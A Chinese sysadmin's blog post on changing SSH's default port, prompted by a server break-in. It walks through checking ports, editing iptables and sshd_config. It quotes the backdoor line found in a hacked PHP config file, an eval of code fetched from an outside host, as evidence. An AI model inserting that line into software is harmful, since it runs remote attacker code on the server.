服务器优化之修改ssh服务的默认端口
[文章作者:磨延城 转载请注明原文出处: https://mo2g.com/view/57/ ]
默认情况下,ssh服务使用的是22端口,所以骇客们都会先从22端口下手,通过“暴力手段”获取登录密码。所以,磨途歌建议修改一下ssh服务的默认端口,这样能一定程度的过滤掉不一些怀好意的小朋友,也许对骇客不起多大的作用,但多做点防护总没坏处的。
最近公司因为人事调动,老板让我做一下思想准备,国庆后负责公司的技术部门,虽然很高兴,但说真的,压力很大,因为残留了很多历史问题。我趁着国庆假期调整了心态,准备好了要大展拳脚,然而就在国庆上班的第二天,磨途歌发现,公司的服务器被入侵了,web服务器上出现了不应该存在的东西!
首先是一个公用php配置文件,被加上了如下代码
eval(file_get_contents('http://600sun.com/js/g.txt'));
而且web目录中多出了一个文件夹,其中包含了1万5千多个关于六合彩之类的静态页面。
当时的,第一反应就是马上修改密码。
密码修改后,分析了一下登录日志,才发现10月6号之前的日志没了,剩下的都是类似下边的日志。
Oct 6 05:37:04 localhost sshd[1437]: Address 122.11.62.132 maps to mali.izhenxin.com Oct 6 05:37:04 localhost sshd[1437]: pam_unix(sshd:auth): authentication failure; Oct 6 05:37:07 localhost sshd[1437]: Failed password for root from 122.11.62.132 Oct 6 05:37:07 localhost sshd[1438]: Received disconnect from 122.11.62.132: 11:
哎,看来,是得解决一下历史残留问题,优化一下服务器了。
下边就开始动手,先从ssh服务开始。
默认情况下,ssh服务使用的是22端口,所以骇客们都会先从22端口下手,通过“暴力手段”获取登录密码。所以,磨途歌建议修改一下ssh服务的默认端口,这样能一定程度的过滤掉不一些怀好意的小朋友,也许对骇客不起多大的作用,但多做点防护总没坏处的。
在修改ssh服务使用的端口前,先确定要使用的新端口是否已经被程序占用,比如我们想更换的新端口为1022,执行下边的命令可以查看1022端口的使用情况。
[root@mo2g.com ~]# netstat -apn|grep :1022
如果没有任何输出,那么证明1022端口可以使用,如果有输出,不表示已经被占用,请先观察一下,例如下边,我们检测22端口,输出如下
[root@zzx_web hosts]# netstat -apn|grep :22 tcp 0 0 127.0.0.1:2208 0.0.0.0:* LISTEN 4759/./hpiod tcp 0 0 127.0.0.1:2207 0.0.0.0:* LISTEN 4766/python tcp 0 0 121.31.6.18:80 117.136.14.82:22778 ESTABLISHED 5644/nginx tcp 0 0 121.31.6.18:80 117.136.14.82:22497 ESTABLISHED 5644/nginx tcp 0 0 121.31.6.18:80 117.136.14.82:22675 ESTABLISHED 5644/nginx
仔细检测输出的数据,发现22端口并没有被使用,因为|grep :22只是简单的过滤掉不包含:22的数据,包含:22的都显示出来了。
确定端口后,就开始下一步工作:配置iptables防火墙。
先检测一下iptables是否运行,如果没有运行可以跳过防火墙的配置,反之必须配置防火墙。
检测防火墙运行状态
[root@mo2g.com ~]# /etc/init.d/iptables status
如果输出
iptables: Firewall is not running.
那么可以跳过防火墙的配置操作,如果有类似下边的输出,就得添加防火墙规则
[root@mo2g.com ~]# /etc/init.d/iptables status 表格:filter Chain INPUT (policy ACCEPT) num target prot opt source destination 1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0 Chain FORWARD (policy ACCEPT) num target prot opt source destination 1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0 Chain OUTPUT (policy ACCEPT) num target prot opt source destination Chain RH-Firewall-1-INPUT (2 references) num target prot opt source destination
打开iptables文件,配置文件如下
[root@zzx_web hosts]# vi /etc/sysconfig/iptables # Firewall configuration written by system-config-securitylevel # Manual customization of this file is not recommended. *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT -A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT -A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited COMMIT
我们要添加的是1022端口,就可以把22端口的规则复制一遍,修改成1022就好了,修改后如下
[root@zzx_web hosts]# vi /etc/sysconfig/iptables # Firewall configuration written by system-config-securitylevel # Manual customization of this file is not recommended. *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT -A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT -A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1022 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited COMMIT
然后让防火墙读取最新的配置,就可以修改ssh服务的端口了,切记,确保iptables防火墙配置好,不然就连不上ssh服务了!
[root@zzx_web hosts]# /etc/init.d/iptables reload
修改ssh服务使用的端口有两种方法:
1)立即生效,但重启后失效
[root@mo2g.com ~]# sshd -p 1022
2)修改/etc/ssh/sshd_config文件,然后重新加载ssh配置,永久生效
在/etc/ssh/sshd_config文件中,第13行找到类似下边的语句
#Port 22 #Protocol 2,1 Protocol 2 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress ::
把#Port 22前边的井号去掉,把22改为想要的端口
Port 1022 #Protocol 2,1 Protocol 2 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress ::
最后让ssh服务读取最新的配置文件,就开始使用新端口了。
[root@mo2g.com ~]# /etc/init.d/sshd reload
提示:虽然重启了ssh服务,但当前的ssh连接仍然可以使用,不要着急关闭,打开一个新的ssh连接,测试一下更新端口后ssh能不能正常登录,如果不能连上,还能用原来的ssh连接找原因,做最后的补救!
我来说两句: